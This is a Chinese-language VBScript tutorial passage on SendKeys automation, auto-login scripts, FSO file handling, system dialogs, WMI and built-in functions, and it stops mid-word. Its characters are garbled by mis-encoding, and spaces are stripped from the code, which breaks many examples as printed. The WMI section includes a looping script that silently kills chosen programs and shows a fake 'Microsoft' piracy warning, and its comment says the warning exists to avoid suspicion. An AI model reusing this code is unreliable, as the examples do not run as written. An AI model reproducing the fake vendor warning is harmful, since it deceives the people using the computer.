由于“+”、“^”這些字符用來(lái)表示特殊的控制按鍵了,如何表示這些按鍵呢?只要用大括號(hào)括住這些字符即可。例如,要發(fā)送加號(hào)“+”,可使用“WshShell.SendKeys"{+}"”。另外對(duì)于一些不會(huì)生成字符的控制功能按鍵,也同樣需要使用大括號(hào)括起來(lái)按鍵的名稱,例如要發(fā)送回車鍵,需要用“WshShell.SendKeys"{ENTER}"”表示,發(fā)送向下的方向鍵用“WshShell.SendKeys"{DOWN}"”表示。如果需要發(fā)送多個(gè)重復(fù)的單字母按鍵,不必重復(fù)輸入該字母,SendKeys允許使用簡(jiǎn)化格式進(jìn)行描述,使用格式為“{按鍵數(shù)字}”。例如要發(fā)送10個(gè)字母“x”,則輸入“WshShell.SendKeys"{x10}"”即可。例一:WshShell.SendKeys"^{ESC}u"代碼的含義為:按下Ctrl+Esc組合鍵(相當(dāng)于按Win鍵)打開(kāi)“開(kāi)始”菜單,接著按U鍵打開(kāi)“關(guān)機(jī)”菜單。例二:讓VBS腳本自動(dòng)在記事本中輸入一行文字“hello,welcometocfan”。DimWshShellSetWshShell=WScript.CreateObject("WScript.Shell")WshShell.Run"notepad"WScript.Sleep2000
//本行的含義為是腳本暫停2秒,給notepad一個(gè)打開(kāi)的時(shí)間,有時(shí)時(shí)間太短可能導(dǎo)致后面的字符無(wú)法進(jìn)入編輯區(qū)WshShell.AppActivate"無(wú)標(biāo)題-記事本"http://AppActivate為尋找可執(zhí)行程序的標(biāo)題框,”無(wú)標(biāo)題-記事本”內(nèi)容你的自己打開(kāi)看一下WshShell.SendKeys"hello,welcometocfan"作業(yè)1:讓腳本自動(dòng)輸入下面兩段小短句Thisisthemostwonderfuldayofmylife
becauseI'mherewithyounow
作業(yè)2:讓腳本在輸入短句后自動(dòng)關(guān)閉記事本,并保存文件名為“test”,注意關(guān)閉記事本可以直接使用組合按鍵Alt+F4來(lái)實(shí)現(xiàn)。Vbs腳本編程簡(jiǎn)明教程之九——2妙用SendKeys簡(jiǎn)化重復(fù)操作2
例三:制作能自動(dòng)定時(shí)存盤(pán)的記事本我們最常用的記事本沒(méi)有Word、WPS那樣的自動(dòng)定時(shí)存盤(pán)功能,其實(shí)利用VBS腳本再加上SendKeys命令,就能彌補(bǔ)這個(gè)遺憾。打開(kāi)記事本,輸入以下內(nèi)容(為容易描述和分析,把代碼分為四個(gè)部分):'第一部分:定義變量和對(duì)象DimWshShell,AutoSaveTime,TXTFileNameAutoSaveTime=300000SetWshShell=WScript.CreateObject("WScript.Shell")TXTFileName=InputBox("請(qǐng)輸入你要?jiǎng)?chuàng)建的文件名(不能用中文和純數(shù)字):")'第二部分:打開(kāi)并激活記事本W(wǎng)shShell.Run"notepad"WScript.Sleep200WshShell.AppActivate"無(wú)標(biāo)題-記事本"'第三部分:用輸入的文件名存盤(pán)WshShell.SendKeys"^s"WScript.Sleep300WshShell.SendKeysTXTFileNameWScript.Sleep300WshShell.SendKeys"%s"WScript.SleepAutoSaveTime'第四部分:自動(dòng)定時(shí)存盤(pán)WhileWshShell.AppActivate(TXTFileName)=TrueWshShell.SendKeys"^s"WScript.SleepAutoSaveTimeWendWScript.Quit將其保存為記事本.vbs,以后要使用記事本時(shí),都通過(guò)雙擊這個(gè)腳本文件來(lái)打開(kāi)。程序說(shuō)明:這個(gè)腳本的基本思路是定時(shí)向記事本發(fā)送Ctrl+S這個(gè)存盤(pán)組合鍵。第一部分:定義了腳本中需要用到的變量和對(duì)象?!癆utoSaveTime”變量用來(lái)設(shè)置自動(dòng)存盤(pán)間隔,單位為毫秒,這里設(shè)置為5分鐘。“TXTFileName”變量通過(guò)輸入框取得你要?jiǎng)?chuàng)建的文本文件名稱。第二部分:運(yùn)行記事本,對(duì)于Windows本身提供的程序,比如計(jì)算器等,可直接在“WshShell.Run”后輸入程序名稱,如"calc",對(duì)于非系統(tǒng)程序,則可輸入完全路徑,但要注意使用8.3格式輸入,比如“"D:\Progra~1\Tencent\QQ.exe"”。第三部分:這里用SendKeys命令執(zhí)行了這樣的操作流程(請(qǐng)注意每個(gè)操作之間延時(shí)命令的使用):在記事本中按Ctrl+S組合鍵→彈出保存文件的窗口→輸入文件名→按Alt+S組合鍵進(jìn)行保存(默認(rèn)保存在“我的文檔”目錄)。第四部分:定時(shí)存盤(pán)的關(guān)鍵,通過(guò)“While……Wend”這個(gè)當(dāng)條件為“真”時(shí)循環(huán)命令,實(shí)現(xiàn)自動(dòng)存盤(pán)代碼“WshShell.SendKeys"^s"”和定時(shí)代碼“WScript.SleepAutoSaveTime”的重復(fù)執(zhí)行。因?yàn)椴荒茏屵@個(gè)定時(shí)存盤(pán)循環(huán)一直執(zhí)行,退出記事本后,必須自動(dòng)退出腳本并結(jié)束循環(huán),所以設(shè)計(jì)了一個(gè)循環(huán)判斷條件“WshShell.AppActivateTXTFileName=True”,當(dāng)記事本運(yùn)行中時(shí),可以激活記事本窗口,這個(gè)條件運(yùn)行結(jié)果為“True”,定時(shí)存盤(pán)循環(huán)一直執(zhí)行,退出記事本后,腳本無(wú)法激活記事本窗口,就會(huì)跳出循環(huán),執(zhí)行“Wend”后面的“WScript.Quit”退出腳本。例四:快速登陸QQ軟件。假設(shè)QQ號(hào)碼是:10001,密碼是:123456,隱身登陸:setws=wscript.createobject("wscript.shell")
ws.run"C:\Progra~1\Tencent\QQ\QQ.exe",0
wscript.Sleep2000
ws.AppActivate"QQ用戶登錄"
ws.SendKeys"7015247"
wscript.Sleep200
ws.SendKeys"{TAB}"
ws.SendKeys"*********"
wscript.Sleep200ws.SendKeys"{ENTER}"例五:關(guān)機(jī)菜單立刻顯身打開(kāi)記事本,輸入以下命令,并將其保存為1.vbs:setWshShell=CreateObject("WScript.Shell")WshShell.SendKeys"^{ESC}u"雙擊運(yùn)行它,你會(huì)發(fā)現(xiàn)關(guān)機(jī)菜單立刻出現(xiàn)了。將“WshShell.SendKeys"^{ESC}u"”改為“WshShell.SendKeys"^+{ESC}"”,運(yùn)行一下看看是否打開(kāi)了任務(wù)管理器Vbs腳本編程簡(jiǎn)明教程之九——3妙用SendKeys自動(dòng)上網(wǎng)并登陸博客3將下面的腳本復(fù)制到一個(gè)文本文件中,并將其文件名命名為:自動(dòng)登陸.vbs,然后將撥號(hào)軟件及本腳本一起復(fù)制到程序——啟動(dòng)項(xiàng)中,就可以實(shí)現(xiàn)自動(dòng)撥號(hào)上網(wǎng),并登陸到博客上。代碼如下:Setwshshell=CreateObject("wscript.shell")
wshshell.AppActivate"連接MAE-301U撥號(hào)連接"
wscript.Sleep20000
wshshell.SendKeys"{enter}"
wshshell.Run"iexplore"
WScript.Sleep2000
wshshell.AppActivate"hao123網(wǎng)址之家---實(shí)用網(wǎng)址,搜索大全,盡在/-MicrosoftInternetExplorer"'引號(hào)中的內(nèi)容修改為你的瀏覽器打開(kāi)后標(biāo)題欄中的內(nèi)容
wshshell.SendKeys"%d"
wshshell.SendKeys"/?login"
wshshell.SendKeys"{enter}"
WScript.Sleep2000
wshshell.SendKeys"此處修改為博客帳號(hào)"
wshshell.SendKeys"{tab}"
wshshell.SendKeys"此處修改為博客密碼"
wshshell.SendKeys"{enter}"
'wshshell.SendKeys"%d"Vbs腳本常用的編輯器當(dāng)然是notapad,不過(guò)這個(gè)編輯器的功能當(dāng)然實(shí)在是太弱了一點(diǎn),其實(shí)有很多的專用的腳本編輯器可以大大方便vbs腳本的編寫(xiě)。我常用的有兩種:1、VBSEDit漢化版
2、primalscript漢化版,可以對(duì)30多種腳本進(jìn)行編輯Vbs腳本編程簡(jiǎn)明教程之十一FSO中文件的基本操作
一、文件屬性:在windows中,文件的屬性一般用數(shù)字來(lái)表示:0代表normal,即普通文件未設(shè)置任何屬性。
1代表只讀文件。2代表隱藏文件。
4代表系統(tǒng)文件。
16代表文件夾或目錄。32代表存檔文件。1024代表鏈接或快捷方式。例如:setfs=wscript.createobject(“scripting.filesystemobject”)setf=fs.getfile(“d:\index.txt”)msgboxf.Attributes
‘a(chǎn)ttributes函數(shù)的作用是顯示文件屬性需要說(shuō)明的是:msgbox顯示的結(jié)果往往不是上面說(shuō)明的數(shù)字,而是有關(guān)屬性代表數(shù)字的和二、創(chuàng)建文件:object.createtextfile方法,注意創(chuàng)建前一般需要檢查文件是否存在。例如:setfso=wscript.createobject(“scripting.filesystemobject”)iffso.fileexists(“c:\kk.txt”)thenmsgbox“文件已存在”elsesetf=fso.createtextfile(“c:\kk.txt”)endif如需要強(qiáng)制覆蓋已存在的文件,則在文件名后加true參數(shù)。三、復(fù)制、移動(dòng)、刪除文件:使用copyfile方法、movefile方法、deletefile方法。例如:setfso=wscript.createobject(“scripting.filesystemobject”)fso.copyfile“c:\kk.txt”,”d:\1\kk.txt”,true
//如上文說(shuō)述,true代表強(qiáng)制覆蓋fso.movefile“c:\kk.txt”,“d:\”
//移動(dòng)文件fso.deletefile“c:\kk.txt”
//刪除文件四、文件的讀寫(xiě):1、打開(kāi)文件:使用opentextfile方法如:setts=fso.opentextfile(“c:\kk.txt”,1,true)說(shuō)明:第二個(gè)參數(shù)為訪問(wèn)模式1為只讀、2寫(xiě)入、8為追加第三個(gè)參數(shù)指定如文件不存在則創(chuàng)建。2、讀取文件:read(x)讀x個(gè)字符;readline讀一行;readall全部讀取如:setffile=fso.opentextfile(“c:\kk.txt”,1,true)value=ffile.read(20)line=ffile.readlinecontents=ffile.readall3、常見(jiàn)的指針變量:atendofstream屬性:當(dāng)處于文件結(jié)尾的時(shí)候這個(gè)屬性返回true。一般用循環(huán)檢測(cè)是否到達(dá)文件末尾。例如:dowhileffile.atendofstream<>trueffile.read(10)loopatendofline屬性:如果已經(jīng)到了行末尾,這個(gè)屬性返回true。Column屬性(當(dāng)前字符位置的列號(hào))和line屬性(文件當(dāng)前行號(hào)):在打開(kāi)一個(gè)文件后,行和列指針都被設(shè)置為1。4、在文件中跳行:skip(x)
跳過(guò)x個(gè)字符;skipline
跳過(guò)一行5、在文件中寫(xiě)入字符:可以用2-寫(xiě)入和8-追加的方式來(lái)寫(xiě)入其方法有:write(x)寫(xiě)入x字符串;writeline(x)寫(xiě)入x代表的一行writeblanklines(n)寫(xiě)入n個(gè)空行注意:最后一定要使用close方法關(guān)閉文件,讀文件后一定要關(guān)閉,才能以寫(xiě)的方式打開(kāi)。Vbs腳本編程簡(jiǎn)明教程之十二使用系統(tǒng)對(duì)話框
在VBS腳本設(shè)計(jì)中,如果能使用windows提供的系統(tǒng)對(duì)話框,可以簡(jiǎn)化腳本的使用難度,使腳本人性化許多,很少有人使用,但VBS并非不能實(shí)現(xiàn)這樣的功能,方法當(dāng)然還是利用COM對(duì)象。1、SAFRCFileDlg.FileSave對(duì)象:屬性有:FileName—指定默認(rèn)文件名;FileType—指定文件擴(kuò)展名;OpenFileSaveDlg—顯示文件保存框體方法。2、SAFRCFileDlg.FileOpen對(duì)象:FileName—默認(rèn)文件名屬性;OpenFileOpenDlg—顯示打開(kāi)文件框體方法。3、UserAccounts.CommonDialog對(duì)象:Filter—擴(kuò)展名屬性("vbsFile|*.vbs|AllFiles|*.*");FilterIndex—指定InitialDir—指定默認(rèn)的文件夾FileName—指定的文件名Flags—對(duì)話框的類型Showopen方法:很簡(jiǎn)單,ok,讓我們來(lái)舉兩個(gè)簡(jiǎn)單的例子:例一:保存文件SetobjDialog=CreateObject("SAFRCFileDlg.FileSave")SetobjFSO=CreateObject("Scripting.FileSystemObject")objDialog.FileName="test"objDialog.FileType=".txt"intReturn=objDialog.OpenFileSaveDlgIfintReturnThenobjFSO.CreateTextFile(objDialog.FileName&objdialog.filetype)ElseWscript.QuitEndIf注意:1、SAFRCFileDlg.FileSave對(duì)象僅僅是提供了一個(gè)方便用戶選擇的界面,本身并沒(méi)有保存文件的功能,保存文件還需要使用FSO對(duì)象來(lái)完成。2、用FileType屬性來(lái)指定默認(rèn)的文件類型。3、在調(diào)用OpenFileSaveDlg方法時(shí),最好把返回值保存到一變量中,用它可以判斷用戶按下的是確定還是取消。例二:.打開(kāi)文件setobjFile=CreateObject("SAFRCFileDlg.FileOpen")intRet=objFile.OpenFileOpenDlgifintretthenmsgbox“文件打開(kāi)成功!文件名為:”&objFile.filenameelsewscript.quitendif例三:比較復(fù)雜的打開(kāi)文件對(duì)話框SetobjDialog=CreateObject("UserAccounts.CommonDialog")objDialog.Filter="vbsFile|*.vbs"objDialog.InitialDir="c:\"tfile=objDialog.ShowOpeniftfilethenstrLoadFile=objDialog.FileNamemsgboxstrLoadFileelsewscript.quitendif說(shuō)明:在腳本中加入objDialog.Flags=&H020看看會(huì)出現(xiàn)什么結(jié)果Vbs腳本編程簡(jiǎn)明教程之十三——1WMI基礎(chǔ)之一
WMI即Windows管理規(guī)范,是用戶管理本地和遠(yuǎn)程計(jì)算機(jī)的一種模型。通過(guò)它可以訪問(wèn)、配置、管理和監(jiān)視幾乎所有的Windows資源。WMI的語(yǔ)法十分簡(jiǎn)單,基本上常見(jiàn)的命名空間、對(duì)象等用幾乎一模一樣。它對(duì)應(yīng)的是Windows里的WMI服務(wù)(winmgmt)。一、WMI的起源幾年前,幾家資深的計(jì)算機(jī)公司由于系統(tǒng)管理領(lǐng)域缺少標(biāo)準(zhǔn),委托DMTF啟動(dòng)了CIM(通用信息模型)項(xiàng)目,理想的CIM是一種不受限制于任何特定實(shí)現(xiàn)環(huán)境的管理工具。WMI是CIM的微軟實(shí)現(xiàn),它有很多類是從CIM中派生出來(lái)的。二、WMI的命名空間那么命名空間是做什么作用的呢?我簡(jiǎn)單這樣說(shuō),在同一段代碼中,如果有兩個(gè)變量或函數(shù)的名字完全相同,就會(huì)出現(xiàn)沖突。命名空間就是為解決變量、函數(shù)的命名沖突而服務(wù)的。解決的辦法就是將你的變量定義在一個(gè)不同名字的命名空間中。就好像財(cái)政局有個(gè)張三,公安局也有個(gè)張三,但我們清楚,就是因?yàn)樗麄兎謱俨煌膯挝?。有些地方可能不太?zhǔn)確,但大致意思就是這樣了。WMI的命名空間創(chuàng)建了一個(gè)層次結(jié)構(gòu),有點(diǎn)類似于我們的目錄文件結(jié)構(gòu)。1、
root-作為所有其他名字的占位符;2、
root\default-與注冊(cè)表操作有關(guān)的類;3、
root\security-與系統(tǒng)安全有關(guān)的類;4、
root\cimv2-從CIM派生的類,代表我們最常用的工作環(huán)境。三、WMI的對(duì)象路徑WMI的對(duì)象路徑用來(lái)在CIM庫(kù)中定位類和它的事例,對(duì)象路徑用兩個(gè)反斜杠\\開(kāi)頭,第一個(gè)元素是目標(biāo)計(jì)算機(jī)的名字,第二個(gè)元素是相應(yīng)的WMI命名空間,第三個(gè)元素是相應(yīng)的類名,并用:將它與命名空間分隔開(kāi)來(lái)。例如:\\..\root\cimv2:win32_service其中那個(gè).代表是本地系統(tǒng)。四、WMI的查詢語(yǔ)言——WQL僅僅是ANSISQL的一個(gè)子集,只能用于數(shù)據(jù)的提取。數(shù)據(jù)、事件查詢的基本語(yǔ)法為:Selectpro1,pro2,pro3
frommyclass(myclassevent)例如:Selectname,pathfromWin32_share
說(shuō)明:列出所有共享的名稱和路徑也可以使用通配符*,例如:Select*fromWin32_share關(guān)鍵字Where用于限定查詢的范圍。例如:Select*fromWin32_sharewherename=”Admin”五、WMI腳本中使用的三個(gè)步驟步驟1:連接到WMI服務(wù)在任何WMI腳本中,第一個(gè)步驟都是建立一個(gè)到目標(biāo)計(jì)算機(jī)上的Windows管理服務(wù)的連接。方法是調(diào)用VBScript的Getobject函數(shù)并將WMI腳本庫(kù)的名字對(duì)象的名稱(即“winmgmts:”,后跟目標(biāo)計(jì)算機(jī)的名稱)傳遞到Getobject,并返回一個(gè)對(duì)象的引用,此時(shí),您就可以調(diào)用其提供的方法如:InstancesOf,正如方法名所示,InstancesOf返回由資源的類名標(biāo)識(shí)的托管資源的所有實(shí)例。步驟2:檢索WMI托管資源的實(shí)例一般采用WQL來(lái)實(shí)現(xiàn)。步驟3:顯示W(wǎng)MI托管資源的屬性最后一個(gè)步驟是枚舉檢索得到集合的內(nèi)容。一般采用Foreachenumin
myclass……Next
結(jié)構(gòu)來(lái)實(shí)現(xiàn)。六、WMI測(cè)試器(wbemtest.exe)驗(yàn)證腳本執(zhí)行結(jié)果現(xiàn)在,您對(duì)可用于瀏覽和查看CIM的工具已經(jīng)有了一些認(rèn)識(shí),讓我們使用WMI測(cè)試器(wbemtest.exe)來(lái)檢查Win32_Process類定義,以便從在您的本地計(jì)算機(jī)上運(yùn)行的進(jìn)程檢索一些屬性。1.打開(kāi)一個(gè)命令提示,鍵入C:\>wbemtest.exe,按下Enter來(lái)開(kāi)始WMI測(cè)試器工具。請(qǐng)注意,大部分按鈕在主WMI測(cè)試器窗口上是被禁用的,這說(shuō)明此時(shí)您沒(méi)有連接到WMI。2.單擊“連接”按鈕連接到本地或遠(yuǎn)程計(jì)算機(jī)上的WMI服務(wù)。顯示“連接”對(duì)話框,它提供一個(gè)標(biāo)記為名稱空間的文本輸入?yún)^(qū)域,該區(qū)域默認(rèn)值為root\default。將名稱空間區(qū)域的值更改為root\cimv2,單擊“連接”對(duì)話框的連接按鈕返回到主WMI測(cè)試器窗口。3.主窗口中左上角的命名空間標(biāo)識(shí)符應(yīng)該顯示為root\cimv2。請(qǐng)注意,所有的按鈕現(xiàn)在都已啟用,這說(shuō)明在當(dāng)前憑據(jù)環(huán)境下,您已經(jīng)成功連接到本地主機(jī)上的WMI。單擊枚舉類別打開(kāi)“超類信息”對(duì)話框。4.在“超類信息”對(duì)話框中,不要填寫(xiě)輸入超類別名稱區(qū)域,單擊遞歸選項(xiàng),單擊確定以枚舉root\cimv2名稱空間中定義的所有CIM類。請(qǐng)注意,列于“查詢結(jié)果”對(duì)話框頂部的類是以兩個(gè)下劃線為開(kāi)頭的。這些是系統(tǒng)類。系統(tǒng)類是預(yù)定義的CIM類,支持內(nèi)部WMI配置與操作,例如提供程序注冊(cè)、命名空間安全性及事件通知等?,F(xiàn)在,忽略系統(tǒng)類,向下滾動(dòng)“查詢結(jié)果”對(duì)話框直至看到以CIM_開(kāi)頭的類。名稱以CIM_開(kāi)頭的類是由DMTF維護(hù)的核心與公共基類。繼續(xù)向下滾動(dòng)直至到達(dá)以Win32_開(kāi)頭的類。名稱以Win32_開(kāi)頭的類是Microsoft擴(kuò)展類,表示W(wǎng)indows特定的托管資源。如果這是您第一次檢查root\cimv2命名空間,您可能希望熟悉root\cimv2命名空間中的類的完整集合,尤其是有Win32_前綴的類。5.向下滾動(dòng)“查詢結(jié)果”對(duì)話框直至到達(dá)Win32_Process類,雙擊該類名打開(kāi)Win32_Process對(duì)話框的對(duì)象編輯器。6.“對(duì)象編輯器”對(duì)話框顯示被選定類的定義和實(shí)現(xiàn)的詳細(xì)信息(屬性和方法)。選擇HideSystemProperties復(fù)選框隱藏系統(tǒng)屬性。剩余的Win32_Process屬性表示您可以從在本地或遠(yuǎn)程計(jì)算機(jī)上運(yùn)行的進(jìn)程檢索的信息。運(yùn)行如下代碼:strComputer="."
SetwbemServices=Getobject("winmgmts:\\"&strComputer)SetwbemObjectSet=wbemServices.InstancesOf("Win32_Process")ForEachwbemObjectInwbemObjectSet
WScript.Echo"Name:
"&wbemObject.Name
&vbCrLf&_
"
Handle:
"&wbemObject.Handle
&vbCrLf&_
"
ProcessID:"&wbemObject.ProcessIDNext7.在運(yùn)行腳本之后,您可以用WIMI測(cè)試器驗(yàn)證腳本的結(jié)果。在Win32_Process對(duì)話框的對(duì)象編輯器中,單擊Instances。產(chǎn)生的查詢結(jié)果對(duì)話框列出在計(jì)算機(jī)上運(yùn)行的進(jìn)程的實(shí)例。雙擊一個(gè)指定的進(jìn)程實(shí)例,查看該實(shí)例的詳細(xì)信息。Vbs腳本編程簡(jiǎn)明教程之十三——2WMI基礎(chǔ)之二—阻止客人運(yùn)行你不想運(yùn)行的程序
很多人都有這樣的經(jīng)驗(yàn),剛剛裝好的系統(tǒng),讓人運(yùn)行了一些你不想他運(yùn)行的程序,比如說(shuō)QQ,又是聊天,又是下載表情,不過(guò)一會(huì),流氓插件、病毒、木馬已經(jīng)盤(pán)踞了你的計(jì)算機(jī),常常是忍痛將這個(gè)程序卸載,可是不知情的人很自覺(jué)的下載安裝,使整個(gè)系統(tǒng)無(wú)法正常運(yùn)行。其實(shí)用vbs和wmi結(jié)合起來(lái),使你的計(jì)算機(jī)上有相應(yīng)的程序安裝,別人又無(wú)法運(yùn)行起來(lái)太容易了,現(xiàn)在給出代碼:OnErrorResumeNext
'忽略所有的錯(cuò)誤
Dimbag,pipe,honker,good
Do
good="."
'定義為本地計(jì)算機(jī)
setbag=getobject("winmgmts:\\"&good&"\root\cimv2")
'l連接到cimv2命名空間
setpipe=bag.execquery("select*fromwin32_processwherename='qq.exe'orname='qqgame.exe'orname='winmine.exe'")
'看,這是我的計(jì)算機(jī)上不允許運(yùn)行的程序,qq、qqgame、winmine(掃雷)如果你還有其他的程序不允許運(yùn)行,很簡(jiǎn)單,在其中添加orname='你不允許運(yùn)行的程序名'
foreachiinpipe
i.terminate()
msgbox"發(fā)現(xiàn)盜版系統(tǒng),現(xiàn)已進(jìn)行功能限制!"&vbcrlf&"請(qǐng)使用正版軟件!",,"微軟提示"
'此行其實(shí)可有可無(wú),有這行只是為了免去懷疑
next
wscript.sleep60000
'每1分鐘檢測(cè)一次
loop那么如果我自己想運(yùn)行這些程序該怎么辦呢,很簡(jiǎn)單,Ctrl+Alt+Del三個(gè)鍵齊按,打開(kāi)windows任務(wù)管理器,在進(jìn)程中結(jié)束Wscript.exe和wmiprvse.exe進(jìn)程的運(yùn)行就可以了Vbs腳本編程簡(jiǎn)明教程之十四使用dictionary對(duì)象
VBS中存在一個(gè)特殊的對(duì)象-dictionnary,是一個(gè)集合對(duì)象。一般情況霞,我把這個(gè)特殊的集合想象為數(shù)組,可以使用其中內(nèi)建的函數(shù)完成存儲(chǔ)和操縱數(shù)據(jù)等基本任務(wù),無(wú)須擔(dān)心數(shù)據(jù)是在哪些行列,而是使用唯一的鍵進(jìn)行訪問(wèn)或者是一個(gè)只能運(yùn)行在內(nèi)存中的數(shù)據(jù)庫(kù),并只有兩個(gè)字段分別是:key和item,在使用中,字段key是索引字段。setsdict=CreateObject("Scripting.Dictionary")sdict.add"a","apple"sdict.add"b","banana"sdict.add"c","copy"foreachkeyinsdict.keysmsgbox
"鍵名"&
key
&"是"&"="&sdict(key)nextsdict.removeall這個(gè)腳本很簡(jiǎn)單,就是定義了一個(gè)dictionary對(duì)象的實(shí)例sdict,并加入了三條數(shù)據(jù),然后對(duì)每一條數(shù)據(jù)進(jìn)行了枚舉,最后,將對(duì)象的實(shí)例清空。Dictionary對(duì)象的成員概要屬性和說(shuō)明CompareMode
設(shè)定或返回鍵的字符串比較模式Count
只讀。返回Dictionary里的鍵/條目對(duì)的數(shù)量Item(key)
設(shè)定或返回指定的鍵的條目值Key(key)
設(shè)定鍵值方法和說(shuō)明Add(key,item)
增加鍵/條目對(duì)到DictionaryExists(key)
如果指定的鍵存在,返回True,否則返回FalseItems()
返回一個(gè)包含Dictionary對(duì)象中所有條目的數(shù)組Keys()
返回一個(gè)包含Dictionary對(duì)象中所有鍵的數(shù)組Remove(key)
刪除一個(gè)指定的鍵/條目對(duì)RemoveAll()
刪除全部鍵/條目對(duì)Vbs腳本編程簡(jiǎn)明教程之十五——1VBS內(nèi)置函數(shù)之一
Abs函數(shù):返回?cái)?shù)的絕對(duì)值。Array函數(shù):返回含有數(shù)組的變體。Asc函數(shù):返回字符串首字母的ANSI字符碼。Atn函數(shù):返回?cái)?shù)值的反正切。CBool函數(shù):返回已被轉(zhuǎn)換為Boolean子類型的變體的表達(dá)式。CByte函數(shù):返回已被轉(zhuǎn)換為字節(jié)子類型的變體的表達(dá)式。CCur函數(shù):返回已被轉(zhuǎn)換為貨幣子類型的變體的表達(dá)式。CDate函數(shù):返回已被轉(zhuǎn)換為日期子類型的變體的表達(dá)式。CDbl函數(shù):返回已被轉(zhuǎn)換為雙精度子類型的變體的表達(dá)式。Chr函數(shù):返回與指定的ANSI字符碼相關(guān)的字符。CInt函數(shù):返回已被轉(zhuǎn)換為整形子類型的變體的表達(dá)式。CLng函數(shù);返回已被轉(zhuǎn)換為L(zhǎng)ong子類型的變體的表達(dá)式。Cos函數(shù):返回角度的余弦。CreateObject函數(shù):創(chuàng)建并返回對(duì)“自動(dòng)”對(duì)象的引用。CSng函數(shù):返回已被轉(zhuǎn)換為單精度子類型的變體的表達(dá)式。CStr函數(shù):返回已被轉(zhuǎn)換為字符串子類型的變體的表達(dá)式。Date函數(shù):返回當(dāng)前系統(tǒng)日期。DateAdd函數(shù):返回的日期已經(jīng)加上了指定的時(shí)間間隔。DateDiff函數(shù):返回兩個(gè)日期之間的間隔。DatePart函數(shù):返回給定日期的指定部分。DateSerial函數(shù):返回指定年月日的日期子類型的變體。Datevalue函數(shù):返回日期子類型的變體。Day函數(shù):返回日期,取值范圍為1至31。Eval函數(shù):計(jì)算表達(dá)式并返回結(jié)果。Exp函數(shù):返回e(自然對(duì)數(shù)的底)的多少次方。Filter函數(shù):根據(jù)指定的篩選條件,返回含有字符串?dāng)?shù)組子集的、下限為0的數(shù)組。Fix函數(shù):返回?cái)?shù)的整數(shù)部分。FormatCurrency函數(shù):返回的表達(dá)式為貨幣值格式,其貨幣符號(hào)采用系統(tǒng)控制面板中定義的。FormatDateTime函數(shù):返回的表達(dá)式為日期和時(shí)間格式。FormatNumber函數(shù):返回的表達(dá)式為數(shù)字格式。FormatPercent函數(shù):返回的表達(dá)式為百分?jǐn)?shù)(乘以100)格式,后面有%符號(hào)。GetObject函數(shù):返回從文件對(duì)“自動(dòng)”對(duì)象的引用。GetRef函數(shù):返回對(duì)能夠綁定到一事件的過(guò)程的引用。Hex函數(shù):返回一字符串,代表一個(gè)數(shù)的十六進(jìn)制值。Hour函數(shù):返回表示鐘點(diǎn)的數(shù)字,取值范圍為0至23。InputBox函數(shù):在對(duì)話框中顯式一提示,等待用戶輸入文本或單擊按鈕,并返回文本框的內(nèi)容。InStr函數(shù):返回一個(gè)字符串在另一個(gè)字符串中首次出現(xiàn)的位置。InStrRev函數(shù);返回一個(gè)字符串在另一個(gè)字符串中出現(xiàn)的位置,但是從字符串的尾部算起。VBS內(nèi)置函數(shù)之二
Int函數(shù):返回?cái)?shù)的整數(shù)部分。IsArray函數(shù):返回Boolean值,反映變量是否為數(shù)組。IsDate函數(shù):返回Boolean值,反映表達(dá)式能否轉(zhuǎn)換為日期。IsEmpty函數(shù):返回Boolean值,反映變量是否已被初始化。IsNull函數(shù):返回Boolean值,反映表達(dá)式是否含有無(wú)效數(shù)據(jù)(Null)。IsNumeric函數(shù):返回Boolean值,反映表達(dá)式能否轉(zhuǎn)換為數(shù)字。IsObject函數(shù):返回Boolean值,反映表達(dá)式是否引用了有效的“自動(dòng)”對(duì)象。Join函數(shù):返回通過(guò)連接許多含有數(shù)組的子串而創(chuàng)建的字符串。LBound函數(shù);返回指定維數(shù)數(shù)組的最小有效下標(biāo)。LCase函數(shù):返回的字符串已被轉(zhuǎn)換為小寫(xiě)字母。Left函數(shù):返回字符串最左邊的指定數(shù)量的字符。Len函數(shù):返回字符串中的字符數(shù)或存儲(chǔ)變量所需的字節(jié)數(shù)。LoadPicture函數(shù):返回圖片對(duì)象。只用于32位平臺(tái)。Log函數(shù):返回?cái)?shù)的自然對(duì)數(shù)。LTrim函數(shù);返回去掉前導(dǎo)空格的字符串。Mid函數(shù):從字符串中返回指定數(shù)量的字符。Minute函數(shù):返回分鐘數(shù),取值范圍為0至59。Month函數(shù):返回表示月份的數(shù),取值范圍為1至12。MonthName函數(shù):返回表示月份的字符串。MsgBox函數(shù):在對(duì)話框中顯示消息,等待用戶單擊按鈕,并返回表示用戶所擊按鈕的數(shù)值。Now函數(shù):返回計(jì)算機(jī)的當(dāng)前系統(tǒng)日期和時(shí)間。Oct函數(shù):返回表示該數(shù)八進(jìn)制數(shù)值的字符串。Replace函數(shù):返回一字符串,其中指定的子串已被另一個(gè)子串替換了規(guī)定的次數(shù)。RGB函數(shù):返回代表RGB顏色值的數(shù)字。Right函數(shù):返回字符串最右邊的指定數(shù)量的字符。Rnd函數(shù):返回隨機(jī)數(shù)。Round函數(shù):返回指定位數(shù)、四舍五入的數(shù)。RTrim函數(shù):返回去掉尾部空格的字符串副本。ScriptEngine函數(shù):返回反映使用中的腳本語(yǔ)言的字符串。ScriptEngineBuildVersion函數(shù):返回使用中的腳本引擎的編譯版本號(hào)。ScriptEngineMajorVersion函數(shù):返回使用中的腳本引擎的主版本號(hào)。ScriptEngineMinorVersion函數(shù):返回使用中的腳本引擎的次版本號(hào)。Second函數(shù):返回秒數(shù),取值范圍為0至59。VBS內(nèi)置函數(shù)之三
Sgn函數(shù):返回反映數(shù)的符號(hào)的整數(shù)。Sin函數(shù):返回角度的正弦值。Space函數(shù):返回由指定數(shù)量的空格組成的字符串。Split函數(shù):返回下限為0的、由指定數(shù)量的子串組成的一維數(shù)組。Sqr函數(shù):返回?cái)?shù)的平方根。StrComp函數(shù):返回反映字符串比較結(jié)果的數(shù)值。String函數(shù):返回指定長(zhǎng)度的重復(fù)字符串。StrReverse函數(shù):返回一字符串,其中字符的順序與指定的字符串中的順序相反。Tan函數(shù):返回角度的正切值。Time函數(shù):返回表示當(dāng)前系統(tǒng)時(shí)間的“日期”子類型的“變體”。Timer函數(shù):返回時(shí)經(jīng)子夜12:00AM后的秒數(shù)。TimeSerial函數(shù):返回含有指定時(shí)分秒時(shí)間的日期子類型的變體。Timevalue函數(shù):返回含有時(shí)間的日期子類型的變體。Trim函數(shù):返回去掉前導(dǎo)空格或尾部空格的字符串副本。TypeName函數(shù):返回一字符串,它提供了關(guān)于變量的變體子類型信息。UBound函數(s